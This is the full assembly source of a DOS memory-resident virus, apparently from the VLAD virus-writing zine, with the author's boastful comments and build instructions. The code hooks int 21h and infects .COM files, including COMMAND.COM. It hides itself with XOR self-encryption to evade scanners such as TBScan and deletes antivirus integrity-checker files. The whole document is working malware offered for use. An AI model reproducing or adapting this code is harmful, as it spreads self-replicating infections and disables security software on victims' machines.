; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
; ³ Brother Incest Virus ³
; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
; This was my first TSR virus so blame it's lameness on that. The only
; reason I've included it is because I need to add one more family
; member to round off the incest family. (What a happy family they are :)
; I shake my head at some of the stuff in here. It was only comparing
; for lower case 'COM' extensions. So it would only infect stuff from the
; command line (the only real place where lower case extensions are used)
; hehe that's terrible! Imagine the chances of infecting in the wild ?!!
; Assemble with a86. With modifications it will work with others.
; It infects COMMAND.COM, is resident, hooks int21h, COM infecting only.
; Comes with self encryption/mutation.
; It is well hidden since I added the encryption, TBScan doesn't pick up
; much... it depends on how well the encryption went... bits sometimes still
; come through... F-Prot is good software tho... it actually uses your own
; encryption routine to undo it..
; After assembly to create the final COM-file you must load it into debug
; and run through the encryption routine then press 'w' to write it to file.
org 100h
m proc far
length equ 600
start:
db 0e9h ;fake jump...
dw 0
begin:
mov si,101h
mov ax,word ptr [si]
mov si,ax ;length of infectee - 3
call decrypt
;Test for virus installation here!!!!
enc_start:
xor ax,ax ;Segment 0... where the
mov es,ax ;interrupt table lurks...
mov ax,word ptr es:[132] ;Put int21 in i21...
mov word ptr [si+offset i21],ax
mov ax,word ptr es:[134]
mov word ptr [si+offset i21 +2],ax
mov ah,3dh
mov di,55ffh
mov dx,51ffh
int 21h
cmp di,0ff55h
je jend ;Already installed
mov ah,61h ;Incest!
mov di,'IN'
int 21h
cmp di,'NI'
jne not_incest
mov word ptr [si+offset int21_2],cx
mov word ptr [si+offset int21_2+2],dx
not_incest:
push cs
pop es
mov ax,cs
dec ax
mov ds,ax
cmp byte ptr ds:[0000],'Z'
jne jend
mov ax,ds:[0003]
sub ax,100 ;Decrease memory allocation.
mov ds:[0003],ax
mov bx,ax
mov ax,es
add ax,bx ;Copy virus to
mov es,ax ;allocated portion of memory...
mov cx,600
push cs
pop ds
push si
add si,offset begin
mov di,103h
rep movsb
;Stolen code ends...
pop si
mov bx,es
xor ax,ax ;es = segment of vector table
mov es,ax
mov ax,offset int21_handler ;change vector table to point
mov word ptr es:[132],ax ;to our virus...
mov word ptr es:[134],bx
jend:
mov ax,cs
mov es,ax
mov ds,ax
mov [100h],byte ptr [si+offset old3] ;Move original
mov [101h],byte ptr [si+offset old3+1] ;three back
;to 100h
;There seems to be an error in a86.
;Which means that when moving "byte ptr [],byte ptr []"
;it moves a word instead.
;Hence the above two lines are effective even though
;they look wrong.
mov bx,0100h ;Jump back to user program
jmp bx
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
int21_handler proc far
cmp ah,4bh
je not_testing
cmp ah,43h
je not_testing
cmp ah,56h
je not_testing
cmp ax,6c00h
je not_testing
cmp ah,3dh
je normal
cmp ah,61h
je incest_chk
int_ret:
jmp dword ptr cs:[i21]
normal:
cmp di,55ffh ;This is for testing residency.
jne not_testing
cmp dx,51ffh
jne not_testing
mov di,0ff55h
iret
incest_chk:
cmp di,'IN'
jne int_ret
mov di,'NI' ;Incest Marker...
mov cx,word ptr cs:[int21_2]
mov dx,word ptr cs:[int21_2 + 2]
iret ;Pass original int21h out.
not_testing:
;The working part of the virus goes in here...
push ax
push bx
push cx
push dx
push si
push di
push ds
push es
cmp ax,6c00h
jne find_com
mov dx,si
find_com:
cld
push ds
pop es
xor al,al
mov cx,64 ;Scan 64 bytes.
mov di,dx
repne scasb ;Find the zero at the end of the asciiz
je found ;filename.
jmp pop_outa_here
found:
dec di ;points to zero
dec di ;should point to 'm'
cmp byte ptr es:[di],'M'
jne pop_outa_here
dec di
cmp byte ptr es:[di],'O'
jne pop_outa_here
dec di ;This finds the .com extension.
cmp byte ptr es:[di],'C'
jne pop_outa_here
dec di
cmp byte ptr es:[di],'.'
jne pop_outa_here
;set int24h
xor ax,ax
mov es,ax
mov ax,word ptr es:[144]
mov word ptr cs:[i24],ax
mov ax,word ptr es:[146]
mov word ptr cs:[i24+2],ax ;Save int24h
mov word ptr es:[144],offset int24h
mov es:[146],cs ;Set int24h to a much cooler
;handler.
mov ax,3d02h
call int21h
jc longreturn
mov bx,ax ;Save file handle
mov ax,4301h ;Remove write protection
mov cx,0100000b
call int21h
jc not_working_right
mov ax,5700h ;File date & time
call int21h
jc not_working_right
push cx ;Save file time
push dx ; and date
and cl,00011111b
cmp cl,00011111b ;Check for 62secs
;???11111 = 62 secs
jne infect
;*** Already infected... close file and exit
pop dx ;Restore date & time
pop cx
Not_working_right:
mov ah,3eh
call int21h ; Close file
longreturn:
;reset int24h
xor ax,ax
mov es,ax
mov ax,word ptr cs:[i24]
mov es:[144],ax
mov ax,word ptr cs:[i24+2]
mov es:[146],ax
pop_outa_here:
pop es
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
jmp dword ptr cs:[i21] ;Return to int 21h like
;normal.
;Put all data in here...
jump db 0e9h
jumpbit dw 0
old3 db 0cdh,20h,0
cpav db "chklist.cps",0
mscpav db "chklist.ms",0
infect:
push cs
pop ds
mov ah,3fh
mov cx,3 ;CX = no. to read
mov dx,offset old3 ;Read into old3
call int21h ;Read 1st three bytes
jc quickexit
mov al,02h ;Seek to end of file
call lseek ;End of file
jc quickexit
push ax ;Save file length
inc byte ptr enc_var
push cs
pop es
mov di,859
mov si,offset begin ;Copy virus to
mov cx,600 ;extra part of
rep movsb ;memory to encrypt.
call encrypt_decrypt
mov dx,859 ;Address of virus
mov cx,length ;Length of virus
mov ah,40h
call int21h ;Write virus to file
call encrypt_decrypt
xor al,al ;Seek to start
call lseek ;Start of file
pop ax ;Restore file length
sub ax,3
mov cs:[jumpbit],ax
mov dx,offset jump ;Address of start
mov ah,40h
mov cx,3 ;Write three bytes
call int21h ;Write jump for
;file newly infected.
Quickexit: ;Something went wrong...
mov ax,5701h ;Restore old date
pop dx ;Saved date
pop cx
or cx,001fh ;Set 62 secs mark
call int21h ;orig.time + 62 secs
mov ah,3eh ;Close file
call int21h
; mov ax,0b800h
; mov es,ax ;I use this bit to test its
; mov al,35 ;working... It is!!!
; mov byte ptr es:[273],al
mov ah,41h ;Heh, kill CPAV's generic
mov dx,offset cpav ;integrity checker... :)
call int21h ;Hehe... it'll redo the
;whole directory now!
mov ah,41h
mov dx,offset mscpav ;Kill the microsoft version.
call int21h
jmp longreturn
int21_handler endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
encrypt_decrypt proc near
mov cx,offset enc_end - offset enc_start
mov si,869
mov al,byte ptr enc_var
enc_dec:
xor byte ptr [si],al
inc si
neg al
not al
loop enc_dec
ret
encrypt_decrypt endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
Lseek proc near
mov ah,42h
xor cx,cx
xor dx,dx
call int21h
ret
Lseek endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Put the interrupts in here...
int24h proc near ;Stops embarassing error messages on write protected
;diskettes...
mov al,3
iret
int24h endp
i24 dd 0
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;Crappy Int21h... Not much use calling ourselves now is there ???
;So use original interrupt...
int21h proc near
pushf
db 9ah
int21_2 dd 0
ret
int21h endp
i21 dd 0
enc_end:
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
decrypt proc near
push si
push cx
mov cx,offset enc_end - offset enc_start
mov al,byte ptr [si+enc_var]
add si,offset enc_start
decryption:
xor byte ptr [si],al
inc si
neg al
not al
loop decryption
pop cx
pop si
ret
decrypt endp
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
enc_var db 0
m endp
end start
- VLAD #1 INDEX -